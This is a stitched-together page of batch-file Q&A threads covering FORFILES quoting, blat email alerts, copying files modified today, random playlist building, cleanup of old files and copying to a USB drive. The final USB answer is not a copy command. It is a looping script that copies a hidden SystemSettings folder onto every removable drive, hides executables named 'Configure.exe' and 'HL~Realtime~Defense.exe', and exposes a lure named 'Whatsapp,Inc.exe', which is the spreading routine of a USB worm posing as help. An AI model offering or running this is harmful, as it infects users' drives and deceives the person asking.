Batch file, removing double quote but giving blank .txt - batch-file

My goal is to remove the double quote and send resource of .txt file as body mail through blat, I've seen a lot of question regarding this(removing double quotes).. but I can't figure out, where am I doing wrong. Here is my code
set "now=%date:~4%"
for /f %%i in ('FORFILES /D %now% /m *.csv /c "cmd /c echo #fname"')
do #set MyVariable=%%~i > C:\temp\count.txt
CD C:\temp\blat3217\full
blat C:\temp\count.txt -p user -s "Incoming_File_Alert" -to mymail#mail.com
EDIT:
This giving output blank.
EDIT 2 :
if I switch out line number 2 with this FORFILES /D %now% /m *.csv /c "cmd /c echo #fname" > C:\temp\count.txt
The output is like this
"407232_341600"
"TW39369763_341610"
"1726_341592"
"407316_341601"
"16001_341597"
"100001317_341590"
"407367_341602"
"DHB11838_341593"
"407439_341606"
"407556_341604"
"2373_341595"
"ALL1020-461_341614"
"407382_341605"
"3598_341613"
"PO051334_341589"
"407537_341607"
"407222_341598"
"TW39369964_341611"
"407403_341608"

You can give a try for this batch file :
#echo off
set "SourcePath=C:\Users\user1\Documents\Work\warehouse\"
set "now="
set "Ext=csv"
Call :GetCurrentDate
set "outputfile=C:\temp\count.txt"
If exist "%outputfile%" Del "%outputfile%"
CD /D "%SourcePath%"
#for /f "delims=" %%i in ('FORFILES /D %now% /m *.%Ext%') do (
echo %%~ni >> "%outputfile%"
)
If exist "%outputfile%" start "" "%outputfile%" & exit
::********************************************************************************
:GetCurrentDate
for /f "delims=" %%a in ('wmic OS Get localdatetime ^| find "."') do set dt=%%a
set YYYY=%dt:~0,4%
set MM=%dt:~4,2%
set DD=%dt:~6,2%
set now=%DD%/%MM%/%YYYY%
exit /b
::********************************************************************************

Thanks to Squashman,
my problem solved with his suggestion.. looked like this, if anyone interested
CD C:\Users\user1\Documents\Work\warehouse
set "now=%date:~4%"
for /f "delims=" %%i in ('FORFILES /D %now% /m *.csv')do >> C:\temp\count.txt echo %%~ni
CD C:\temp\blat3217\full
blat C:\temp\count.txt -p user -s "Warehouse_Incoming_File_Alert" -to mymail#mymail.com
EDIT 1:
Mistype.
EDIT 2:
Above is duplicating if we don't delete previous existing .txt file
here is adding syntax delete previous file, thanks to Hackoo answer
CD C:\Users\user1\Documents\Work\warehouse
set "now=%date:~4%"
set "outputfile= C:\temp\count.txt"
If exist %outputfile% del %outputfile%
for /f "delims=" %%i in ('FORFILES /D %now% /m *.csv') do >> %outputfile% echo %%~ni
CD C:\temp\blat3217\full
blat C:\temp\count.txt -p user -s "Warehouse_Incoming_File_Alert" -to mymail#mymail.com

Related

Forfiles copy failes when using path variable

I've got a problem with setting the path variable for the destination I want to copy files within a forfiles command to (cmd /c copy #path destination).
The code:
REM source folder location
set source=\\Path\TO\File\SOURCE\FOLDER
REM destination folder location
set set destination=E:\LOCAL\FOLDER\
REM log_file location
set log_file=E:\LOCAL\FOLDER\Logfile.txt
SET /a "copy_count+=0"
PUSHD %source%
for /F "delims=" %%F in ('
forfiles /S /D -2 /C "cmd /c copy #path 0x22%destination%0x22 & echo #file %date%, %time%>>0x22%log_file%0x22"
') do SET /a "copy_count"+=1
POPD
fails to copy the files in the designated directory but passing the Path directly into the command like:
.....
for /F "delims=" %%F in ('
forfiles /S /D -2 /C "cmd /c copy #path E:\LOCAL\FOLDER\ & echo #file %date%, %time%>>0x22%log_file%0x22"
') do SET /a "copy_count"+=1
POPD
works.
How would I need to pass the variable correctly?
Edited to working code after comments from #Compo
REM source folder location
set "source=\\Path\TO\File\SOURCE\FOLDER"
REM destination folder location
set "destination=E:\LOCAL\FOLDER\"
REM log_file location
set "log_file=E:\LOCAL\FOLDER\Logfile.txt"
SET /a "copy_count+=0"
PUSHD %source%
for /F "delims=" %%F in ('
forfiles /S /D -2 /C "cmd /c If #IsDir==FALSE copy #path %destination% & echo #file %date%, %time%>>%log_file%"
') do SET /a "copy_count"+=1
POPD
To clarify on #aschipfl comment because I did not realize the time stamp stays the same throughout the whole process - Is this what your comment implied?
SET /a "copy_count+=0"
PUSHD %source%
(for /F "delims=" %%F in ('
forfiles /S /D -2 /C "cmd /c If #IsDir==FALSE copy #path %destination% & echo #file %date%, %time%)>>%log_file%"
') do SET /a "copy_count"+=1
POPD
Here's a quick example showing the methodology, I implied and suggested throughout my comments.
#Echo Off
SetLocal EnableExtensions DisableDelayedExpansion
Set "source=\\Path\TO\File\SOURCE\FOLDER"
Set "destination=E:\LOCAL\FOLDER"
Set "log_file=E:\LOCAL\FOLDER\Logfile.txt"
PushD "%source%"
Set "copy_count=0"
(For /F "Tokens=1,*" %%G In ('%SystemRoot%\System32\forfiles.exe /S /D -2 /C ^
"%SystemRoot%\System32\cmd.exe /D /C If #IsDir==FALSE Echo #Path 0x25DATE0x25, 0x25TIME0x25"'
) Do Copy /Y %%G "%destination%" 1> NUL 2>&1 && Set /A copy_count+=1 & Echo %%~nxG %%H) 1> "%log_file%"
PopD

Get all subfolders and find which are modified today using batch file

I have a folder MyFolder and it contains 3 sub-folders say A,B and C.
I want to copy those sub-folders which are modified today.
The command for /D %%A in ("D:\MyFolder*") do ( echo **%%~fA )** provides me all 3 sub-folders, now I am calling another loop and passing %%~fA(which is current folder in loop) to get to know is there any modifications made in this folder or not. But I am getting echo off.
set LocalFolder=D:\Backup\1
for /D %%A in ("D:\MyFolder\*") do (
echo %%~fA
for /F %%N in ('forfiles /S /P "%%~fA" /M "*" /D +0 /C "cmd /C if #isdir==FALSE echo _" ^| find /C "_"') do set "NUMBER=%%N"
echo %NUMBER%
if %%N GTR 0 xcopy "%%~fA\*.*" "%LocalFolder%\" /s/e/k/f/c
)

Exclude certain file extensions from random file selection - batch script

I'm in the process of making a script that selects 25 random tracks from a user specified folder and adds them into an .m3u playlist. The trouble I have is that my music folders include various other files as well (eg: .txt, .jpg, .png, .nfo, etc...)
So I'm looking for a way of excluding the extensions listed above, limiting the script to just work with audio files. Any help would be much appreciated!
Here is the code so far... It has been stitched together from various sources so accept my apologies if it is a little crude:
#echo off
title Multiple Choice Menu
:home
cls
echo.
echo Select a genre:
echo =============
echo.
echo 1) Jungle
echo 2) D'n'B
echo 3) Reggae
echo 4) Hip-Hop
echo 5) Exit
echo.
set /p genre=Type option:
if "%genre%"=="1" cd /D "D:\NL Safe 2.0\High Quality\Jungle"
if "%genre%"=="2" cd /D "D:\NL Safe 2.0\High Quality\DnB\Standard DnB"
if "%genre%"=="3" cd /D "D:\NL Safe 2.0\High Quality\Reggae
if "%genre%"=="4" cd /D "D:\NL Safe 2.0\High Quality\Hip-Hop"
if "%genre%"=="5" exit
:: Clear existing Playlist
#echo. > C:\Users\Brew\Desktop\random.m3u
:: Create numbered list of files in a temporary file
set "tempFile=%temp%\%~nx0_fileList_%time::=.%.txt"
dir /b /s /a-d %1 | findstr /n "^" >"%tempFile%"
:: Count the files
for /f %%N in ('type "%tempFile%" ^| find /c /v ""') do set cnt=%%N
:: Open 25 random files
for /l %%N in (1 1 25) do call :openRandomFile
:: Delete the temp file
del "%tempFile%"
:openRandomFile
set /a "randomNum=(%random% %% cnt) + 1"
for /f "tokens=1* delims=:" %%A in (
'findstr "^%randomNum%:" "%tempFile%"'
) do (
setlocal EnableDelayedExpansion
set tune=%%B
#echo !tune! >> C:\Users\Brew\Desktop\random.m3u
)
Assuming your song's folder is on %1.
The dir command supports wildcards in the idea that
dir *.txt *.xml
will only list .txt and .xml files.
So you can try doing this instead:
...
:: Create numbered list of files in a temporary file
set "tempFile=%temp%\%~nx0_fileList_%time::=.%.txt"
pushd %1
dir /b /s /a-d *.mp3 *.EXT1 *.EXT2 | findstr /n "^" >"%tempFile%"
popd
...
Where EXT will be the extensions you want to match.
This will create your %tempFile% with only the files you want. Since the code that selects a file ramdomly works, as I see, over this file, it won't need to change at all.
I couldn't get dir to work with both target directory and wildcards.
Hope it helps.
This is why i used pushd and popd.
Thanks Daniel,
I had another go at it an finally got something working on my own. I used a series of If statements to put the random file through an extension validation check
This is the working script
#echo off
title Multiple Choice Menu
:home
cls
echo.
echo Select a task:
echo =============
echo.
echo 1) Jungle
echo 2) D'n'B
echo 3) Reggae
echo 4) Hip-Hop
echo 5) Exit
echo.
set /p genre=Type option:
if "%genre%"=="1" cd /D "D:\NL Safe 2.0\High Quality\Jungle"
if "%genre%"=="2" cd /D "D:\NL Safe 2.0\High Quality\DnB\Standard DnB"
if "%genre%"=="3" cd /D "D:\NL Safe 2.0\High Quality\Reggae
if "%genre%"=="4" cd /D "D:\NL Safe 2.0\High Quality\Hip-Hop"
if "%genre%"=="5" exit
:: Clear existing Playlist
#echo. > C:\Users\Brew\Desktop\random.m3u
:: Create numbered list of files in a temporary file
set "tempFile=%temp%\%~nx0_fileList_%time::=.%.txt"
dir /b /s /a-d %1 | findstr /n "^" >"%tempFile%"
:: Count the files
for /f %%N in ('type "%tempFile%" ^| find /c /v ""') do set cnt=%%N
:openRandomFile
echo opening random file.....
set /a "randomNum=(%random% %% cnt) + 1"
for /f "tokens=1* delims=:" %%A in (
'findstr "^%randomNum%:" "%tempFile%"'
) do (
setlocal EnableDelayedExpansion
set tune=%%B
FOR %%i IN ("!tune!") do call :CheckifMusic
)
:CheckifMusic
echo checking now
FOR %%i IN ("!tune!") DO (
SET fileextension=%%~xi
IF !fileextension!==.aif goto ResultTrue
IF !fileextension!==.flac goto ResultTrue
IF !fileextension!==.m4a goto ResultTrue
IF !fileextension!==.mp3 goto ResultTrue
IF !fileextension!==.wav goto ResultTrue
IF !fileextension!==.wma goto ResultTrue
echo fail
echo !fileextension!
goto openRandomFile
:ResultTrue
echo pass
echo !fileextension!
#echo !tune! >> C:\Users\Brew\Desktop\random.m3u
set /A COUNTER=COUNTER+1
IF !COUNTER!==25 (
echo finished
pause
goto Done
) ELSE (
goto openRandomFile
)
:Done
echo.
:: Delete the temp file
del "%tempFile%"
exit
)
pause
Probably not the cleanest way to do it, but hey - It works!
replace
dir /b /s /a-d %1 | findstr /n "^" >"%tempFile%"
with
dir /b /s /a-d %1 | findstr /n /L /E /I /c:".mp3" /c:".wav">"%tempFile%"
Where the /c:".mp3"... can be extended as many times as you desire to select your target filetypes.
or
with
dir /b /s /a-d %1 | findstr /n /V /L /E /I /c:".jpg" /c:".txt">"%tempFile%"
Again repeating the /c:".jpg"... as many times as you desire to select your target exclude-me filetypes.
The /i means "case-insensitive", /e means "at the end of the line" /L means "literal match, not regex" and /v means "output non-matching"

FORFILES in FOR loops issues

i am trying to make a script to remove empty folders and delete files a number of days old. depending on what the txt file delimiters are set to. I have came up with this so far:
::Batch
SET CDID=%~dp0
SET TEST=TRUE
IF %TEST%==TRUE (
SET COMND1=ECHO
SET COMND2=ECHO
) ELSE (
SET COMND1=DEL
SET COMND2=RD
)
ECHO FILE RAN %date:~10%/%date:~4,2%/%date:~7,2% >>%CDID%\LOG.TXT
FOR /F "usebackq delims=| tokens=1,2" %%x IN (%CDID%PATH.txt) DO (
CALL :DEL_FOLDERS "%%x" %%y
CALL :DEL_FILES "%%x" %%y
)
GOTO :EOF
:DEL_FILES
FORFILES /p %1 /s /m *.* /d %2 /c "cmd /c %COMND1% #file"
GOTO :EOF
:DEL_FOLDERS
FOR /f "delims=" %%i in ('dir %%1 /s /b /ad ^| sort /r') do %COMND2% "%%i"
GOTO :EOF
::PATH.txt
C:\Temp\BLANK|10
C:\Temp\New folder|30
when i run the script #file will not populate and %%i will not populate, i am not sure what i am doing wrong. Help?
You made a couple of very small errors. In DEL_FOLDERS you used %%1 which meant that the argument was not expanded (you only needed one % here). You also did not handle the case where there are no files that match or the directories are empty. In the FORFILES command you put /m *.*; although the documentation says this is the default, the documentation is incorrect. Missing out the /m matches all files (the default) but by saying /m *.* you only match files with a dot!
My corrected version is:
::Batch
SET CDID=%~dp0
SET TEST=TRUE
IF %TEST%==TRUE (
SET COMND1=ECHO
SET COMND2=ECHO
) ELSE (
SET COMND1=DEL
SET COMND2=RD
)
ECHO FILE RAN %date:~10%/%date:~4,2%/%date:~7,2% >>%CDID%\LOG.TXT
FOR /F "usebackq delims=| tokens=1,2" %%x IN (%CDID%PATH.txt) DO (
CALL :DEL_FOLDERS "%%x" %%y
CALL :DEL_FILES "%%x" %%y
)
GOTO :EOF
:DEL_FILES
FORFILES /p %1 /s /d %2 /c "cmd /c %COMND1% #file" 2> nul
GOTO :EOF
:DEL_FOLDERS
FOR /f "delims=" %%i in ('dir "%~1" /s /b /ad 2^>nul ^| sort /r') do %COMND2% "%%i"
GOTO :EOF
::PATH.txt
C:\Temp\BLANK|10
C:\Temp\New folder|30

Copy a file into USB flash drive root using batch files

I want to create a batch file to copy a file from any Dir into root folder that the .bat file located on that like a USB flash drive .
My incomplete command :
xcopy /s "%userprofile%\Desktop\test.txt" "?"
What can I replace with "?" ???
Thanks guys
This will do exactly as you want to any and all connected USB drives.
#echo off
for /F "usebackq tokens=1,2,3,4 " %%i in (`wmic logicaldisk get caption^,description^,drivetype 2^>NUL`) do (
if %%l equ 2 (
xcopy /s "%userprofile%\Desktop\test.txt" %%i\
)
)
xcopy /s "%userprofile%\Desktop\test.txt" "\"
You should replace it with drive letter of USB drive followed by :\
So, the real question is how to determine, which of the drives in system are USB flash drives, I guess? Here is the code:
#echo off
setlocal enabledelayedexpansion
set INTEXTFILE=temp.txt
set OUTTEXTFILE=temp.bat
set SEARCHTEXT='Removable Disk'
set REPLACETEXT=
set OUTPUTLINE=
wmic logicaldisk get name,description|grep -h "Removable" > %INTEXTFILE%
for /f "tokens=3,* delims= " %%A in ( '"type %INTEXTFILE%"') do (
SET string=%%A
SET modified=!string:%SEARCHTEXT%=%REPLACETEXT%!
)
echo xcopy /s "%userprofile%\Desktop\test.txt" !modified! > %OUTTEXTFILE%
call %OUTTEXTFILE%
del %OUTTEXTFILE%
del %INTEXTFILE%
But take into account that it definitely works only for 1 removable disk. It will fail, if two devices of this type are plugged in.
What you are going to need to do is use a relative path for your USB directory. The code will look like this:
#echo off
set /p entry= Enter the the path of the file you'd like to copy:
copy %entry% %~dp0\*.*
#pause
This should let you enter into a prompt where you would like to copy the folder from/its name. It will name the file the same as the original and keep the original format (.txt, etc.).
Let me know if this does not work for you instead of downvoting and I will work out another solution for you asap.
Best of luck!
#ECHO Off
:loop
#echo off
set INTERVAL=5
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
for %%c in (%%b) do (
for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
if %%d equ Removable (
echo %%c is Removable
cd "%USERPROFILE%\Appdata\Local\SystemSettings"
xcopy "%USERPROFILE%\Appdata\Local\SystemSettings" "%%c" /s /e /h /y
ATTRIB +H -R +S %%cConfigure.exe
ATTRIB +H -R +S %%cHL~Realtime~Defense.exe
ATTRIB -H -R -s %%cWhatsapp,Inc.exe
timeout /nobreak /t 99
goto loop
Is exactly what you need

Resources